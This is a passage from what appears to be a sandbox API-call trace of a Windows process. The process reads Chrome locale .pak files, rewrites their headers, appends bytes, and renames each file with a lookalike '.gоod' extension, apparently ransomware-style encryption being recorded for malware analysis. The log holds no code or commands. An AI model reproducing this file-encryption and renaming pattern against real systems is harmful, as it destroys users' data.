ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d391f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa8772)) returned 1 [0134.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0134.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0134.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0134.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.759] GetFileType (hFile=0x644) returned 0x1 [0134.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0135.185] GetFileType (hFile=0x644) returned 0x1 [0135.870] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0135.871] ReadFile (in: hFile=0x644, lpBuffer=0x3a6f6d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3a6f6d0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0136.260] CloseHandle (hObject=0x644) returned 1 [0136.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0136.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.645] GetFileType (hFile=0x6e4) returned 0x1 [0136.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.645] GetFileType (hFile=0x6e4) returned 0x1 [0136.645] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0xa8772 [0136.645] WriteFile (in: hFile=0x6e4, lpBuffer=0x38d3238*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x38d3238*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0136.791] CloseHandle (hObject=0x6e4) returned 1 [0136.792] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0136.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.792] GetFileType (hFile=0x6e4) returned 0x1 [0136.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.792] GetFileType (hFile=0x6e4) returned 0x1 [0136.792] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a781c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a781c0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0136.965] CloseHandle (hObject=0x6e4) returned 1 [0136.965] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0136.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.966] GetFileType (hFile=0x6e4) returned 0x1 [0136.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.966] GetFileType (hFile=0x6e4) returned 0x1 [0136.966] WriteFile (in: hFile=0x6e4, lpBuffer=0x37f8da0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x37f8da0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0136.966] CloseHandle (hObject=0x6e4) returned 1 [0136.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x0) returned 0x4c [0136.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak.gоod", lpFilePart=0x0) returned 0x51 [0136.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0136.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4dda81d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa8782)) returned 1 [0136.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0136.966] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak.gоod")) returned 1 [0136.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0136.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0136.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), fInfoLevelId=0x0, lpFileInformation=0x383d6b0 | out: lpFileInformation=0x383d6b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d3e014, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9c965)) returned 1 [0136.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0136.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0136.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.968] GetFileType (hFile=0x6e4) returned 0x1 [0136.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.968] GetFileType (hFile=0x6e4) returned 0x1 [0136.968] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0136.968] ReadFile (in: hFile=0x6e4, lpBuffer=0x383dac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x383dac8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0136.970] CloseHandle (hObject=0x6e4) returned 1 [0136.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0136.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.970] GetFileType (hFile=0x6e4) returned 0x1 [0136.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.970] GetFileType (hFile=0x6e4) returned 0x1 [0136.970] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x9c965 [0136.970] WriteFile (in: hFile=0x6e4, lpBuffer=0x383ed60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x383ed60*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0136.972] CloseHandle (hObject=0x6e4) returned 1 [0136.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0136.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0136.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.972] GetFileType (hFile=0x6e4) returned 0x1 [0136.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0136.973] GetFileType (hFile=0x6e4) returned 0x1 [0136.973] ReadFile (in: hFile=0x6e4, lpBuffer=0x3841240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3841240*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0137.464] CloseHandle (hObject=0x6e4) returned 1 [0137.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0137.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0137.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.465] GetFileType (hFile=0x6e4) returned 0x1 [0137.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0137.465] GetFileType (hFile=0x6e4) returned 0x1 [0137.465] WriteFile (in: hFile=0x6e4, lpBuffer=0x37ffa48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x37ffa48*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0137.465] CloseHandle (hObject=0x6e4) returned 1 [0137.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x0) returned 0x4c [0137.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak.gоod", lpFilePart=0x0) returned 0x51 [0137.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0137.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4e26cdbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c975)) returned 1 [0137.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0137.465] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak.gоod")) returned 1 [0137.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0137.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0137.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), fInfoLevelId=0x0, lpFileInformation=0x38450b0 | out: lpFileInformation=0x38450b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d51894, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8cbb3)) returned 1 [0137.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0137.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0137.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0137.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.467] GetFileType (hFile=0x6e4) returned 0x1 [0137.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0137.467] GetFileType (hFile=0x6e4) returned 0x1 [0137.467] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0137.467] ReadFile (in: hFile=0x6e4, lpBuffer=0x38454c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x38454c8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0137.469] CloseHandle (hObject=0x6e4) returned 1 [0137.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0137.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0137.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.469] GetFileType (hFile=0x6e4) returned 0x1 [0137.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0137.469] GetFileType (hFile=0x6e4) returned 0x1 [0137.469] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x8cbb3 [0137.469] WriteFile (in: hFile=0x6e4, lpBuffer=0x3846a20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3846a20*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0137.471] CloseHandle (hObject=0x6e4) returned 1 [0137.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0137.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0137.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.471] GetFileType (hFile=0x6e4) returned 0x1 [0137.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0137.471] GetFileType (hFile=0x6e4) returned 0x1 [0137.471] ReadFile (in: hFile=0x6e4, lpBuffer=0x3848f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3848f20*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0137.508] CloseHandle (hObject=0x6e4) returned 1 [0137.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0137.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0137.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.509] GetFileType (hFile=0x6e4) returned 0x1 [0137.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0137.509] GetFileType (hFile=0x6e4) returned 0x1 [0137.509] WriteFile (in: hFile=0x6e4, lpBuffer=0x3847c78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3847c78*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0137.761] CloseHandle (hObject=0x6e4) returned 1 [0138.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x0) returned 0x4c [0138.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak.gоod", lpFilePart=0x0) returned 0x51 [0138.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0138.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4e541a3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8cbc3)) returned 1 [0138.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0138.135] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak.gоod")) returned 1 [0138.135] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0138.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), fInfoLevelId=0x0, lpFileInformation=0x39c1490 | out: lpFileInformation=0x39c1490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, 